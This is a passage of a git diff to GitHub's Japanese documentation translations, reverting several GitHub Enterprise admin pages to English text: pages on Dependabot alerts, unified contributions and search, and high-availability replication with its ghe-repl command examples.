variables.product.prodname_dependabot_alerts %} の有効化 +### Enabling {% data variables.product.prodname_dependabot_alerts %} {% ifversion ghes %} Before enabling {% data variables.product.prodname_dependabot_alerts %} for your instance, you need to enable the dependency graph. For more information, see above. @@ -94,11 +94,12 @@ Before enabling {% data variables.product.prodname_dependabot_alerts %} for your {% data reusables.enterprise-accounts.access-enterprise %} {%- ifversion ghes < 3.1 %}{% data reusables.enterprise-accounts.settings-tab %}{% endif %} {% data reusables.enterprise-accounts.github-connect-tab %} -1. Under "Repositories can be scanned for vulnerabilities", select the drop-down menu and click **Enabled without notifications**. Optionally, to enable alerts with notifications, click **Enabled with notifications**. ![脆弱性に対するリポジトリのスキャンを有効化するドロップダウンメニュー](/assets/images/enterprise/site-admin-settings/enable-vulnerability-scanning-in-repositories.png) +1. Under "Repositories can be scanned for vulnerabilities", select the drop-down menu and click **Enabled without notifications**. Optionally, to enable alerts with notifications, click **Enabled with notifications**. + ![Drop-down menu to enable scanning repositories for vulnerabilities](/assets/images/enterprise/site-admin-settings/enable-vulnerability-scanning-in-repositories.png) {% tip %} - - **Tip**: We recommend configuring {% data variables.product.prodname_dependabot_alerts %} without notifications for the first few days to avoid an overload of emails. 数日後、通知を有効化すれば、通常どおり {% data variables.product.prodname_dependabot_alerts %} を受信できます。 + + **Tip**: We recommend configuring {% data variables.product.prodname_dependabot_alerts %} without notifications for the first few days to avoid an overload of emails. After a few days, you can enable notifications to receive {% data variables.product.prodname_dependabot_alerts %} as usual. {% endtip %} @@ -106,10 +107,12 @@ Before enabling {% data variables.product.prodname_dependabot_alerts %} for your When you enable {% data variables.product.prodname_dependabot_alerts %}, you should consider also setting up {% data variables.product.prodname_actions %} for {% data variables.product.prodname_dependabot_security_updates %}. This feature allows developers to fix vulnerabilities in their dependencies. For more information, see "[Setting up {% data variables.product.prodname_dependabot %} security and version updates on your enterprise](/admin/github-actions/enabling-github-actions-for-github-enterprise-server/setting-up-dependabot-updates)." {% endif %} -## {% data variables.product.product_location %}で脆弱性のある依存関係を表示する +## Viewing vulnerable dependencies on {% data variables.product.product_location %} -{% data variables.product.product_location %}ですべての脆弱性を表示し、{% data variables.product.prodname_dotcom_the_website %}から脆弱性データを手動で同期して、リストを更新することができます。 +You can view all vulnerabilities in {% data variables.product.product_location %} and manually sync vulnerability data from {% data variables.product.prodname_dotcom_the_website %} to update the list. {% data reusables.enterprise_site_admin_settings.access-settings %} -2. 左サイドバーで [**Vulnerabilities**] をクリックします。 ![サイト管理サイドバーの [Vulnerabilities] タブ](/assets/images/enterprise/business-accounts/vulnerabilities-tab.png) -3. 脆弱性データを同期するには、[**Sync Vulnerabilities now**] をクリックします。 ![[Sync vulnerabilities now] ボタン](/assets/images/enterprise/site-admin-settings/sync-vulnerabilities-button.png) +2. In the left sidebar, click **Vulnerabilities**. + ![Vulnerabilities tab in the site admin sidebar](/assets/images/enterprise/business-accounts/vulnerabilities-tab.png) +3. To sync vulnerability data, click **Sync Vulnerabilities now**. + ![Sync vulnerabilities now button](/assets/images/enterprise/site-admin-settings/sync-vulnerabilities-button.png) diff --git a/translations/ja-JP/content/admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-unified-contributions-between-your-enterprise-account-and-githubcom.md b/translations/ja-JP/content/admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-unified-contributions-between-your-enterprise-account-and-githubcom.md index bf403cdee5..3147912f21 100644 --- a/translations/ja-JP/content/admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-unified-contributions-between-your-enterprise-account-and-githubcom.md +++ b/translations/ja-JP/content/admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-unified-contributions-between-your-enterprise-account-and-githubcom.md @@ -1,7 +1,7 @@ --- title: Enabling unified contributions between your enterprise account and GitHub.com shortTitle: Enable unified contributions -intro: '{% data variables.product.prodname_github_connect %}を有効化すると、{% data variables.product.prodname_ghe_cloud %}のメンバーがコントリビューション数を{% data variables.product.prodname_dotcom_the_website %}のプロフィールに送信して、{% data variables.product.product_name %}上の作業をハイライトできるようにできます。' +intro: 'After enabling {% data variables.product.prodname_github_connect %}, you can allow {% data variables.product.prodname_ghe_cloud %} members to highlight their work on {% data variables.product.product_name %} by sending the contribution counts to their {% data variables.product.prodname_dotcom_the_website %} profiles.' redirect_from: - /enterprise/admin/guides/developer-workflow/enabling-unified-contributions-between-github-enterprise-and-github-com/ - /enterprise/admin/guides/developer-workflow/enabling-unified-contributions-between-github-enterprise-server-and-github-com/ @@ -26,21 +26,22 @@ As an enterprise owner, you can allow end users to send anonymized contribution After you enable {% data variables.product.prodname_github_connect %} and enable {% data variables.product.prodname_unified_contributions %} in both environments, end users on your enterprise account can connect to their {% data variables.product.prodname_dotcom_the_website %} accounts and send contribution counts from {% data variables.product.product_name %} to {% data variables.product.prodname_dotcom_the_website %}. {% data reusables.github-connect.sync-frequency %} For more information, see "[Sending enterprise contributions to your {% data variables.product.prodname_dotcom_the_website %} profile](/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/sending-enterprise-contributions-to-your-githubcom-profile)." -If the enterprise owner disables the functionality or developers opt out of the connection, the {% data variables.product.product_name %} contribution counts will be deleted on {% data variables.product.prodname_dotcom_the_website %}. 開発者がプロフィールを無効にした後に再接続すると、過去 90 日間のコントリビューションカウントが復元されます。 +If the enterprise owner disables the functionality or developers opt out of the connection, the {% data variables.product.product_name %} contribution counts will be deleted on {% data variables.product.prodname_dotcom_the_website %}. If the developer reconnects their profiles after disabling them, the contribution counts for the past 90 days are restored. -{% data variables.product.product_name %} は、接続されているユーザーのコントリビューションカウントおよびソース ({% data variables.product.product_name %}) **のみ**を送信します。 コントリビューションまたはその作成方法に関する情報は送信されません。 +{% data variables.product.product_name %} **only** sends the contribution count and source ({% data variables.product.product_name %}) for connected users. It does not send any information about the contribution or how it was made. -{% data variables.product.product_location %}で {% data variables.product.prodname_unified_contributions %}を有効化する前に、{% data variables.product.product_location %}を {% data variables.product.prodname_dotcom_the_website %}に接続する必要があります。 For more information, see "[Connecting your enterprise account to {% data variables.product.prodname_dotcom_the_website %}](/admin/configuration/managing-connections-between-your-enterprise-accounts/connecting-your-enterprise-account-to-github-enterprise-cloud)." +Before enabling {% data variables.product.prodname_unified_contributions %} on {% data variables.product.product_location %}, you must connect {% data variables.product.product_location %} to {% data variables.product.prodname_dotcom_the_website %}. For more information, see "[Connecting your enterprise account to {% data variables.product.prodname_dotcom_the_website %}](/admin/configuration/managing-connections-between-your-enterprise-accounts/connecting-your-enterprise-account-to-github-enterprise-cloud)." {% ifversion ghes %} {% data reusables.github-connect.access-dotcom-and-enterprise %} {% data reusables.enterprise_site_admin_settings.access-settings %} {% data reusables.enterprise_site_admin_settings.business %} {% ifversion ghes < 3.1 %}{% data reusables.enterprise-accounts.settings-tab %}{% endif %}{% data reusables.enterprise-accounts.github-connect-tab %}{% else %} -1. {% data variables.product.product_location %}と{% data variables.product.prodname_dotcom_the_website %}にサインインしてください。 +1. Sign in to {% data variables.product.product_location %} and {% data variables.product.prodname_dotcom_the_website %}. {% data reusables.enterprise-accounts.access-enterprise %}{% data reusables.enterprise-accounts.github-connect-tab %}{% endif %} -1. \[Users can share contribution counts to {% data variables.product.prodname_dotcom_the_website %}\] (ユーザは {% data variables.product.prodname_dotcom_the_website %} にコントリビューション数を共有できる) の下で、[**Request access**] (アクセスをリクエスト) をクリックします。 ![Request access to unified contributions option](/assets/images/enterprise/site-admin-settings/dotcom-ghe-connection-request-access.png){% ifversion ghes %} -2. {% data variables.product.prodname_ghe_server %} サイトに[サインイン](https://enterprise.github.com/login)して、以降の指示を受けてください。 +1. Under "Users can share contribution counts to {% data variables.product.prodname_dotcom_the_website %}", click **Request access**. + ![Request access to unified contributions option](/assets/images/enterprise/site-admin-settings/dotcom-ghe-connection-request-access.png){% ifversion ghes %} +2. [Sign in](https://enterprise.github.com/login) to the {% data variables.product.prodname_ghe_server %} site to receive further instructions. When you request access, we may redirect you to the {% data variables.product.prodname_ghe_server %} site to check your current terms of service. {% endif %} diff --git a/translations/ja-JP/content/admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-unified-search-between-your-enterprise-account-and-githubcom.md b/translations/ja-JP/content/admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-unified-search-between-your-enterprise-account-and-githubcom.md index f7876db5f9..412d68ed18 100644 --- a/translations/ja-JP/content/admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-unified-search-between-your-enterprise-account-and-githubcom.md +++ b/translations/ja-JP/content/admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-unified-search-between-your-enterprise-account-and-githubcom.md @@ -25,21 +25,25 @@ topics: When you enable unified search, users can view search results from public and private content on {% data variables.product.prodname_dotcom_the_website %} when searching from {% data variables.product.product_location %}{% ifversion ghae %} on {% data variables.product.prodname_ghe_managed %}{% endif %}. -両方の環境にアクセスできる場合でも、ユーザは{% data variables.product.prodname_dotcom_the_website %}から{% data variables.product.product_location %}を検索することはできません。 ユーザが検索できるのは、あなたが{% data variables.product.prodname_unified_search %}を有効化したプライベートリポジトリと、接続された{% data variables.product.prodname_ghe_cloud %} Organizationでユーザがアクセスできるプライベートリポジトリだけです。 For more information, see "[About searching on {% data variables.product.prodname_dotcom %}](/search-github/getting-started-with-searching-on-github/about-searching-on-github/#searching-across-github-enterprise-and-githubcom-simultaneously)" and "[Enabling private {% data variables.product.prodname_dotcom_the_website %} repository search in your enterprise account](/search-github/getting-started-with-searching-on-github/enabling-githubcom-repository-search-from-your-private-enterprise-environment)." +After you enable unified search for {% data variables.product.product_location %}, individual users must also connect their user accounts on {% data variables.product.product_name %} with their user accounts on {% data variables.product.prodname_dotcom_the_website %} in order to see search results from {% data variables.product.prodname_dotcom_the_website %} on {% data variables.product.product_location %}. For more information, see "[Enabling {% data variables.product.prodname_dotcom_the_website %} repository search in your private enterprise account](/search-github/getting-started-with-searching-on-github/enabling-githubcom-repository-search-from-your-private-enterprise-environment)." -REST及びGraphQL APIでの検索には、{% data variables.product.prodname_dotcom_the_website %}の検索結果は含まれません。 {% data variables.product.prodname_dotcom_the_website %}の高度な検索及びwikiの検索はサポートされていません。 +Users will not be able to search {% data variables.product.product_location %} from {% data variables.product.prodname_dotcom_the_website %}, even if they have access to both environments. Users can only search private repositories you've enabled {% data variables.product.prodname_unified_search %} for and that they have access to in the connected {% data variables.product.prodname_ghe_cloud %} organizations. For more information, see "[About searching on {% data variables.product.prodname_dotcom %}](/search-github/getting-started-with-searching-on-github/about-searching-on-github/#searching-across-github-enterprise-and-githubcom-simultaneously)." + +Searching via the REST and GraphQL APIs does not include {% data variables.product.prodname_dotcom_the_website %} search results. Advanced search and searching for wikis in {% data variables.product.prodname_dotcom_the_website %} are not supported. {% ifversion ghes %} {% data reusables.github-connect.access-dotcom-and-enterprise %} {% data reusables.enterprise_site_admin_settings.access-settings %} {% data reusables.enterprise_site_admin_settings.business %} {% ifversion ghes < 3.1 %}{% data reusables.enterprise-accounts.settings-tab %}{% endif %}{% data reusables.enterprise-accounts.github-connect-tab %}{% else %} -1. {% data variables.product.product_location %}と{% data variables.product.prodname_dotcom_the_website %}にサインインしてください。 +1. Sign in to {% data variables.product.product_location %} and {% data variables.product.prodname_dotcom_the_website %}. {% data reusables.enterprise-accounts.access-enterprise %}{% data reusables.enterprise-accounts.github-connect-tab %}{% endif %} -1. \[Users can search {% data variables.product.prodname_dotcom_the_website %}\] (ユーザは {% data variables.product.prodname_dotcom_the_website %} を検索可能) の下で、ドロップダウンメニューを使って [**Enabled**] をクリックします。 ![Enable search option in the [search GitHub.com] ドロップダウンメニューの [Enable search] オプション](/assets/images/enterprise/site-admin-settings/github-dotcom-enable-search.png) -1. \[Users can search private repositories on {% data variables.product.prodname_dotcom_the_website %}\] (ユーザは {% data variables.product.prodname_dotcom_the_website %} のプライベートリポジトリを検索可能) の下でドロップダウンメニューを使い、[**Enabled**] (有効) をクリックすることもできます。 ![[search GitHub.com] ドロップダウンメニューの [Enable private repositories search] オプション](/assets/images/enterprise/site-admin-settings/enable-private-search.png) +1. Under "Users can search {% data variables.product.prodname_dotcom_the_website %}", use the drop-down menu and click **Enabled**. + ![Enable search option in the search GitHub.com drop-down menu](/assets/images/enterprise/site-admin-settings/github-dotcom-enable-search.png) +1. Optionally, under "Users can search private repositories on {% data variables.product.prodname_dotcom_the_website %}", use the drop-down menu and click **Enabled**. + ![Enable private repositories search option in the search GitHub.com drop-down menu](/assets/images/enterprise/site-admin-settings/enable-private-search.png) -## 参考リンク +## Further reading - "[Connecting your enterprise account to {% data variables.product.prodname_ghe_cloud %}](/admin/configuration/managing-connections-between-your-enterprise-accounts/connecting-your-enterprise-account-to-github-enterprise-cloud)" diff --git a/translations/ja-JP/content/admin/configuration/managing-connections-between-your-enterprise-accounts/index.md b/translations/ja-JP/content/admin/configuration/managing-connections-between-your-enterprise-accounts/index.md index e5d799b82b..b77a0669ae 100644 --- a/translations/ja-JP/content/admin/configuration/managing-connections-between-your-enterprise-accounts/index.md +++ b/translations/ja-JP/content/admin/configuration/managing-connections-between-your-enterprise-accounts/index.md @@ -1,6 +1,6 @@ --- title: Managing connections between your enterprise accounts -intro: '{% data variables.product.prodname_github_connect %}を使えば、{% data variables.product.prodname_dotcom_the_website %}で、{% data variables.product.product_location %}と{% data variables.product.prodname_ghe_cloud %}のOrganizationまたはEnterpriseアカウントの特定の機能やデータを共有できます。' +intro: 'With {% data variables.product.prodname_github_connect %}, you can share certain features and data between {% data variables.product.product_location %} and your {% data variables.product.prodname_ghe_cloud %} organization or enterprise account on {% data variables.product.prodname_dotcom_the_website %}.' redirect_from: - /enterprise/admin/developer-workflow/connecting-github-enterprise-to-github-com - /enterprise/admin/guides/developer-workflow/connecting-github-enterprise-and-github-com/ diff --git a/translations/ja-JP/content/admin/enterprise-management/configuring-high-availability/about-high-availability-configuration.md b/translations/ja-JP/content/admin/enterprise-management/configuring-high-availability/about-high-availability-configuration.md index 72e9ac247d..60b1d3bbae 100644 --- a/translations/ja-JP/content/admin/enterprise-management/configuring-high-availability/about-high-availability-configuration.md +++ b/translations/ja-JP/content/admin/enterprise-management/configuring-high-availability/about-high-availability-configuration.md @@ -1,6 +1,6 @@ --- -title: High Availability設定について -intro: 'High Availability 設定では、完全に冗長なセカンダリの {% data variables.product.prodname_ghe_server %} アプライアンスは、すべての主要なデータストアのレプリケーションによってプライマリアプライアンスとの同期を保ちます。' +title: About high availability configuration +intro: 'In a high availability configuration, a fully redundant secondary {% data variables.product.prodname_ghe_server %} appliance is kept in sync with the primary appliance through replication of all major datastores.' redirect_from: - /enterprise/admin/installation/about-high-availability-configuration - /enterprise/admin/enterprise-management/about-high-availability-configuration @@ -14,57 +14,56 @@ topics: - Infrastructure shortTitle: About HA configuration --- +When you configure high availability, there is an automated setup of one-way, asynchronous replication of all datastores (Git repositories, MySQL, Redis, and Elasticsearch) from the primary to the replica appliance. -High Availability設定をする際には、プライマリからレプリカアプライアンスへのすべてのデータストア（Gitリポジトリ、MySQL、Redis、Elasticsearch）の一方方向の非同期レプリケーションが、自動的にセットアップされます。 - -{% data variables.product.prodname_ghe_server %} はアクティブ／パッシブ設定をサポートします。この設定では、レプリカアプライアンスはデータベースサービスをレプリケーションモードで実行しながらスタンバイとして実行しますが、アプリケーションサービスは停止します。 +{% data variables.product.prodname_ghe_server %} supports an active/passive configuration, where the replica appliance runs as a standby with database services running in replication mode but application services stopped. {% data reusables.enterprise_installation.replica-limit %} -## ターゲットとなる障害のシナリオ +## Targeted failure scenarios -以下に対する保護として、High Availability設定を使ってください。 +Use a high availability configuration for protection against: {% data reusables.enterprise_installation.ha-and-clustering-failure-scenarios %} -High Availability設定は、以下に対するソリューションとしては適切ではありません。 +A high availability configuration is not a good solution for: - - **スケーリング外**。 Geo-replicationを使えば地理的にトラフィックを分散させることができるものの、書き込みのパフォーマンスはプライマリアプライアンスの速度と可用性によって制限されます。 For more information, see "[About geo-replication](/enterprise/{{ currentVersion }}/admin/guides/installation/about-geo-replication/)."{% ifversion ghes > 3.2 %} + - **Scaling-out**. While you can distribute traffic geographically using geo-replication, the performance of writes is limited to the speed and availability of the primary appliance. For more information, see "[About geo-replication](/enterprise/{{ currentVersion }}/admin/guides/installation/about-geo-replication/)."{% ifversion ghes > 3.2 %} - **CI/CD load**. If you have a large number of CI clients that are geographically distant from your primary instance, you may benefit from configuring a repository cache. For more information, see "[About repository caching](/admin/enterprise-management/caching-repositories/about-repository-caching)."{% endif %} - - **プライマリアプライアンスのバックアップ**。 High Availabilityレプリカは、システム災害復旧計画のオフサイトバックアップを置き換えるものではありません。 データ破壊や損失の中には、プライマリからレプリカへ即座にレプリケーションされてしまうものもあります。 安定した過去の状態への安全なロールバックを保証するには、履歴スナップショットでの定期的なバックアップを行う必要があります。 - - **ダウンタイムゼロのアップグレード**。 コントロールされた昇格のシナリオにおけるデータ損失やスプリットブレインの状況を避けるには、プライマリアプライアンスをメンテナンスモードにして、すべての書き込みが完了するのを待ってからレプリカを昇格させてください。 + - **Backing up your primary appliance**. A high availability replica does not replace off-site backups in your disaster recovery plan. Some forms of data corruption or loss may be replicated immediately from the primary to the replica. To ensure safe rollback to a stable past state, you must perform regular backups with historical snapshots. + - **Zero downtime upgrades**. To prevent data loss and split-brain situations in controlled promotion scenarios, place the primary appliance in maintenance mode and wait for all writes to complete before promoting the replica. -## ネットワークトラフィックのフェイルオーバー戦略 +## Network traffic failover strategies -フェイルオーバーの間は、ネットワークトラフィックをプライマリからレプリカへリダイレクトするよう、別個に設定管理しなければなりません。 +During failover, you must separately configure and manage redirecting network traffic from the primary to the replica. -### DNSフェイルオーバー +### DNS failover -DNS フェイルオーバーでは、プライマリの {% data variables.product.prodname_ghe_server %} アプライアンスを指す DNS レコードに短い TTL 値を使用します。 60秒から5分の間のTTLを推奨します。 +With DNS failover, use short TTL values in the DNS records that point to the primary {% data variables.product.prodname_ghe_server %} appliance. We recommend a TTL between 60 seconds and five minutes. -フェイルオーバーの間、プライマリはメンテナンスモードにして、プライマリのDNSレコードはレプリカアプライアンスのIPアドレスへリダイレクトしなければなりません。 トラフィックをプライマリからレプリカへリダイレクトするのに要する時間は、TTLの設定とDNSレコードの更新に必要な時間に依存します。 +During failover, you must place the primary into maintenance mode and redirect its DNS records to the replica appliance's IP address. The time needed to redirect traffic from primary to replica will depend on the TTL configuration and time required to update the DNS records. -Geo-replication を使用している場合は、トラフィックを最も近いレプリカに転送するように Geo DNS を設定する必要があります。 詳細は「[Geo-replication について](/enterprise/{{ currentVersion }}/admin/guides/installation/about-geo-replication/)」を参照してください。 +If you are using geo-replication, you must configure Geo DNS to direct traffic to the nearest replica. For more information, see "[About geo-replication](/enterprise/{{ currentVersion }}/admin/guides/installation/about-geo-replication/)." -### ロードバランサ +### Load balancer {% data reusables.enterprise_clustering.load_balancer_intro %} {% data reusables.enterprise_clustering.load_balancer_dns %} -フェイルオーバーの間、プライマリアプライアンスはメンテナンスモードにしなければなりません。 ロードバランサは、レプリカがプライマリに昇格したときに自動的に検出するように設定することも、手動での設定変更が必要なようにしておくこともできます。 ユーザからのトラフィックに反応する前に、レプリカはプライマリに手動で昇格させておかなければなりません、 詳細は「[ロードバランサとともに {% data variables.product.prodname_ghe_server %} を使用する](/enterprise/{{ currentVersion }}/admin/guides/installation/using-github-enterprise-server-with-a-load-balancer/)」を参照してください。 +During failover, you must place the primary appliance into maintenance mode. You can configure the load balancer to automatically detect when the replica has been promoted to primary, or it may require a manual configuration change. You must manually promote the replica to primary before it will respond to user traffic. For more information, see "[Using {% data variables.product.prodname_ghe_server %} with a load balancer](/enterprise/{{ currentVersion }}/admin/guides/installation/using-github-enterprise-server-with-a-load-balancer/)." {% data reusables.enterprise_installation.monitoring-replicas %} -## レプリケーション管理のユーティリティ +## Utilities for replication management -{% data variables.product.prodname_ghe_server %} でレプリケーションを管理するには、SSH を使用してレプリカアプライアンスに接続して以下のコマンドラインユーティリティを使用します。 +To manage replication on {% data variables.product.prodname_ghe_server %}, use these command line utilities by connecting to the replica appliance using SSH. ### ghe-repl-setup -`ghe-repl-setup` コマンドは、{% data variables.product.prodname_ghe_server %} アプライアンスをレプリカスタンバイモードにします。 +The `ghe-repl-setup` command puts a {% data variables.product.prodname_ghe_server %} appliance in replica standby mode. - - 2 つのアプライアンス間の通信のために、暗号化された WireGuard VPN トンネルが設定されます。 - - レプリケーションのためのデータベースサービスが設定され、起動されます。 - - アプリケーションサービスは無効化されます。 HTTP、Git、あるいはその他のサポートされているプロトコルでレプリカアプライアンスへアクセスしようとすると、"appliance in replica mode"メンテナンスページあるいはエラーメッセージが返されます。 + - An encrypted WireGuard VPN tunnel is configured for communication between the two appliances. + - Database services are configured for replication and started. + - Application services are disabled. Attempts to access the replica appliance over HTTP, Git, or other supported protocols will result in an "appliance in replica mode" maintenance page or error message. ```shell admin@169-254-1-2:~$ ghe-repl-setup 169.254.1.1 @@ -73,12 +72,12 @@ Connection check succeeded. Configuring database replication against primary ... Success: Replica mode is configured against 169.254.1.1. To disable replica mode and undo these changes, run `ghe-repl-teardown'. -新たに設定されたプライマリに対してレプリケーションを開始するには`ghe-repl-start'を実行してください。 +Run `ghe-repl-start' to start replicating against the newly configured primary. ``` ### ghe-repl-start -`ghe-repl-start`コマンドは、すべてのデータストアのアクティブなレプリケーションを有効化します。 +The `ghe-repl-start` command turns on active replication of all datastores. ```shell admin@169-254-1-2:~$ ghe-repl-start @@ -88,12 +87,12 @@ Starting Elasticsearch replication ... Starting Pages replication ... Starting Git replication ... Success: replication is running for all services. -レプリケーションの健全性と進行状況をモニタリングするには`ghe-repl-status'を使ってください。 +Use `ghe-repl-status' to monitor replication health and progress. ``` ### ghe-repl-status -`ghe-repl-status`コマンドは、各データストアのレプリケーションストリームについて`OK`、`WARNING`、`CRITICAL`のいずれかのステータスを返します。 レプリケーションチャンネルのいずれかが`WARNING`ステータスにある場合、このコマンドはコード`1`で終了します。 同様に、いずれかのチャンネルが`CRITICAL`ステータスにある場合、このコマンドはコード`2`で終了します。 +The `ghe-repl-status` command returns an `OK`, `WARNING` or `CRITICAL` status for each datastore replication stream. When any of the replication channels are in a `WARNING` state, the command will exit with the code `1`. Similarly, when any of the channels are in a `CRITICAL` state, the command will exit with the code `2`. ```shell admin@169-254-1-2:~$ ghe-repl-status @@ -104,7 +103,7 @@ OK: git data is in sync (10 repos, 2 wikis, 5 gists) OK: pages data is in sync ``` -`-v`及び`-vv`オプションは、各データストアのレプリケーションのステータスについての詳細を返します。 +The `-v` and `-vv` options give details about each datastore's replication state: ```shell $ ghe-repl-status -v @@ -145,7 +144,7 @@ OK: pages data is in sync ### ghe-repl-stop -`ghe-repl-stop`コマンドは、一時的にすべてのデータストアのレプリケーションを無効化し、レプリケーションサービスを停止させます。 レプリケーションを再開するには[ghe-repl-start](#ghe-repl-start)コマンドを使ってください。 +The `ghe-repl-stop` command temporarily disables replication for all datastores and stops the replication services. To resume replication, use the [ghe-repl-start](#ghe-repl-start) command. ```shell admin@168-254-1-2:~$ ghe-repl-stop @@ -159,7 +158,7 @@ Success: replication was stopped for all services. ### ghe-repl-promote -`ghe-repl-promote`コマンドはレプリケーションを無効化し、レプリカアプライアンスをプライマリに変換します。 アプライアンスはオリジナルのプライマリと同じ設定がなされ、すべてのサービスが有効化されます。 +The `ghe-repl-promote` command disables replication and converts the replica appliance to a primary. The appliance is configured with the same settings as the original primary and all services are enabled. {% data reusables.enterprise_installation.promoting-a-replica %} @@ -182,8 +181,9 @@ Success: Replica has been promoted to primary and is now accepting requests. ### ghe-repl-teardown -`ghe-repl-teardown`コマンドはレプリケーションモードを完全に無効化し、レプリカの設定を削除します。 +The `ghe-repl-teardown` command disables replication mode completely, removing the replica configuration. -## 参考リンク +## Further reading -- "[High Availabilityレプリカの作成](/enterprise/{{ currentVersion }}/admin/guides/installation/creating-a-high-availability-replica)" +- "[Creating a high availability replica](/enterprise/{{ currentVersion }}/admin/guides/installation/creating-a-high-availability-replica)" +- "[Network ports](/admin/configuration/configuring-network-settings/network-ports)" \ No newline at end of file diff --git a/translations/ja-JP/content/admin/enterprise-management/configuring-high-availability/creating-a-high-availability-replica.md b/translations/ja-JP/content/admin/enterprise-management/configuring-high-availability/creating-a-high-availability-replica.md index aa8a3e58a1..31d4dbeb3f 100644 --- a/translations/ja-JP/content/admin/enterprise-management/configuring-high-availability/creating-a-high-availability-replica.md +++ b/translations/ja-JP/content/admin/enterprise-management/configuring-high-availability/creating-a-high-availability-replica.md @@ -1,6 +1,6 @@ --- -title: High Availabilityレプリカの作成 -intro: アクティブ／パッシブ設定では、レプリカアプライアンスはプライマリアプライアンスの冗長コピーです。 プライマリアプライアンスに障害が起こると、High Availabilityモードではレプリカがプライマリアプライアンスとして動作し、サービスの中断を最小限にできます。 +title: Creating a high availability replica +intro: 'In an active/passive configuration, the replica appliance is a redundant copy of the primary appliance. If the primary appliance fails, high availability mode allows the replica to act as the primary appliance, allowing minimal service disruption.' redirect_from: - /enterprise/admin/installation/creating-a-high-availability-replica - /enterprise/admin/enterprise-management/creating-a-high-availability-replica @@ -14,80 +14,80 @@ topics: - Infrastructure shortTitle: Create HA replica --- - {% data reusables.enterprise_installation.replica-limit %} -## High Availabilityレプリカの作成 +## Creating a high availability replica -1. 新しい {% data variables.product.prodname_ghe_server %} アプライアンスを希望するプラットフォームにセットアップします。 レプリカアプライアンスのCPU、RAM、ストレージ設定は、プライマリアプライアンスと同じにするべきです。 レプリカアプライアンスは、独立した環境にインストールすることをお勧めします。 下位層のハードウェア、ソフトウェア、ネットワークコンポーネントは、プライマリアプライアンスのそれらとは分離されているべきです。 クラウドプロバイダを利用している場合には、別個のリージョンもしくはゾーンを使ってください。 詳細は「["{% data variables.product.prodname_ghe_server %} インスタンスをセットアップする](/enterprise/{{ currentVersion }}/admin/guides/installation/setting-up-a-github-enterprise-server-instance)」を参照してください。 -2. ブラウザで新しいレプリカアプライアンスのIPアドレスにアクセスして、所有する{% data variables.product.prodname_enterprise %}のライセンスをアップロードしてください。 +1. Set up a new {% data variables.product.prodname_ghe_server %} appliance on your desired platform. The replica appliance should mirror the primary appliance's CPU, RAM, and storage settings. We recommend that you install the replica appliance in an independent environment. The underlying hardware, software, and network components should be isolated from those of the primary appliance. If you are a using a cloud provider, use a separate region or zone. For more information, see ["Setting up a {% data variables.product.prodname_ghe_server %} instance"](/enterprise/{{ currentVersion }}/admin/guides/installation/setting-up-a-github-enterprise-server-instance). +1. Ensure that both the primary appliance and the new replica appliance can communicate with each other over ports 122/TCP and 1194/UDP. For more information, see "[Network ports](/admin/configuration/configuring-network-settings/network-ports#administrative-ports)." +1. In a browser, navigate to the new replica appliance's IP address and upload your {% data variables.product.prodname_enterprise %} license. {% data reusables.enterprise_installation.replica-steps %} -6. SSHを使ってレプリカアプライアンスのIPアドレスに接続してください。 +1. Connect to the replica appliance's IP address using SSH. ```shell $ ssh -p 122 admin@REPLICA IP ``` {% data reusables.enterprise_installation.generate-replication-key-pair %} {% data reusables.enterprise_installation.add-ssh-key-to-primary %} -9. プライマリへの接続を確認し、新しいレプリカのレプリカモードを有効にするには、`ghe-repl-setup` をもう一度実行します。 +1. To verify the connection to the primary and enable replica mode for the new replica, run `ghe-repl-setup` again. ```shell $ ghe-repl-setup PRIMARY IP ``` {% data reusables.enterprise_installation.replication-command %} {% data reusables.enterprise_installation.verify-replication-channel %} -## Geo-replicationレプリカの作成 +## Creating geo-replication replicas -レプリカを作成する以下の例の設定では、1 つのプライマリと 2 つのレプリカを使用しており、これらは 3 つの異なる地域にあります。 3 つのノードは別のネットワークに配置できますが、すべてのノードは他のすべてのノードから到達可能である必要があります。 最低限、必要な管理ポートは他のすべてのノードに対して開かれている必要があります。 ポートの要件に関する詳しい情報については、「[ネットワークポート](/enterprise/{{ currentVersion }}/admin/guides/installation/network-ports/#administrative-ports)」を参照してください。 +This example configuration uses a primary and two replicas, which are located in three different geographic regions. While the three nodes can be in different networks, all nodes are required to be reachable from all the other nodes. At the minimum, the required administrative ports should be open to all the other nodes. For more information about the port requirements, see "[Network Ports](/enterprise/{{ currentVersion }}/admin/guides/installation/network-ports/#administrative-ports)." -1. 最初のレプリカで `ghe-repl-setup` を実行することで、標準の 2 ノード構成の場合と同じ方法で最初のレプリカを作成します。 +1. Create the first replica the same way you would for a standard two node configuration by running `ghe-repl-setup` on the first replica. ```shell (replica1)$ ghe-repl-setup PRIMARY IP (replica1)$ ghe-repl-start ``` -2. 2 番目のレプリカを作成して、`ghe-repl-setup --add` コマンドを使用します。 `--add` フラグは、既存のレプリケーション設定を上書きするのを防ぎ、新しいレプリカを設定に追加します。 +2. Create a second replica and use the `ghe-repl-setup --add` command. The `--add` flag prevents it from overwriting the existing replication configuration and adds the new replica to the configuration. ```shell (replica2)$ ghe-repl-setup --add PRIMARY IP (replica2)$ ghe-repl-start ``` -3. デフォルトでは、レプリカは同じデータセンターに設定され、同じノードにある既存のノードからシードを試行します。 レプリカを別のデータセンターに設定するには、datacenter オプションに異なる値を設定します。 具体的な値は、それらが互いに異なる限り、どのようなものでもかまいません。 各ノードで `ghe-repl-node` コマンドを実行し、データセンターを指定します。 +3. By default, replicas are configured to the same datacenter, and will now attempt to seed from an existing node in the same datacenter. Configure the replicas for different datacenters by setting a different value for the datacenter option. The specific values can be anything you would like as long as they are different from each other. Run the `ghe-repl-node` command on each node and specify the datacenter. - プライマリでは以下のコマンドを実行します。 + On the primary: ```shell (primary)$ ghe-repl-node --datacenter [PRIMARY DC NAME] ``` - 1 番目のレプリカでは以下のコマンドを実行します。 + On the first replica: ```shell (replica1)$ ghe-repl-node --datacenter [FIRST REPLICA DC NAME] ``` - 2 番目のレプリカでは以下のコマンドを実行します。 + 